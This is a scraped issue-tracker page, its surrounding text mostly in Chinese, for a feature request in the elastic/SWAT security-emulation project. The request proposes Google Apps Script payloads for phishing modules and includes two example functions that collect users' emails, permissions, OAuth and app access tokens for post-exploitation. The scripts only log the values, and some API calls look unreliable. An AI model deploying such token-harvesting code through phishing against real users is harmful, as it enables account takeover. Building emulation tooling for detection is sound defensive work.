[Feature Request] Add Google AppScripts for use with Phishing Payload and Email Modules
@terrancedejesus 已经在做这个了。
开始于 2023年5月10日。
评估
这个 Issue 还没有评估数据。
描述
Google App Scripts
Initial Access SWAT collection script
Collect necessary credential data to enable the use of SWAT to conduct post exploitation actions.
Requirements if user is a Google Workspace Admin:
- Google Admin SDK API enabled
Collect:
- Account name
- Email address
- Account permissions
- App access tokens
- Oauth Tokens
ChatGPT Example Script:
Google Workspace Admin
function getAccountInfo() {
var email = Session.getActiveUser().getEmail();
var account = AdminDirectory.Users.get(email);
var accountName = account.name.fullName;
var accountPermissions = AdminDirectory.Users.getImapSettings(email).accessibility;
var appAccessTokens = AdminDirectory.Users.getOAuth2Tokens(email).items;
var oAuthTokens = AdminDirectory.Users.getOAuth2Tokens(email).items;
Logger.log("Account Name: " + accountName);
Logger.log("Email Address: " + email);
Logger.log("Account Permissions: " + accountPermissions);
Logger.log("App Access Tokens: " + appAccessTokens);
Logger.log("OAuth Tokens: " + oAuthTokens);
}
Google Workspace Non-Admin
function getUserInfo() {
var user = Session.getActiveUser();
var email = user.getEmail();
var name = user.getUsername();
var accessToken = ScriptApp.getOAuthToken();
var appAccessToken = ScriptApp.getAuthorizationInfo('https://www.googleapis.com/auth/script.external_request').getAccessToken();
var userInfo = {
'name': name,
'email': email,
'accessToken': accessToken,
'appAccessToken': appAccessToken
};
Logger.log(userInfo);
}
- 主要语言
- Python
- 星标
- 171
- 派生
- 8
- PR 合并指标
- 30 天内没有已合并 PR
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
elastic/SWAT 的其他 Issue
-
难度 5/5 一周以上 新手友好度 15/100
-
bug
难度 3/5 1-2 天 新手友好度 52/100
-
[Maintenance] Documentation Screenshots not Rendering可能重新可做 @terrancedejesus 于 1161 天前认领,目前没有进行中的 PR。 未关闭community maintenance
-
[Feature Request] Create `add-emulation` command可能重新可做 @brokensound77 于 1197 天前认领,目前没有进行中的 PR。 未关闭enhancement
-
[Feature Request] Add Python module for detecting T1098.003 - Additional Cloud Roles可能重新可做 @terrancedejesus 于 1266 天前认领,目前没有进行中的 PR。 未关闭API: Admin enhancement Subtechnique: 003 Tactic: Persistence Technique: T1098
相似的 Issue
-
factory
难度 2/5 1-3 小时 新手友好度 78/100
Arize-ai/phoenix#17420 · 1 条评论 · 1 个 reaction ·
维护者通常 1 天内回复
-
bug
难度 2/5 1-3 小时 新手友好度 84/100
FireDynamics/LEDSmokeAnalysis#176 ·
维护者通常 1 天内回复
-
PC
难度 2/5 1-3 小时 新手友好度 74/100
维护者通常 1 天内回复
-
dependencies
难度 2/5 1-3 小时 新手友好度 68/100
dlt-contrib/dlt-filesystem#51 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 68/100
维护者通常 1 天内回复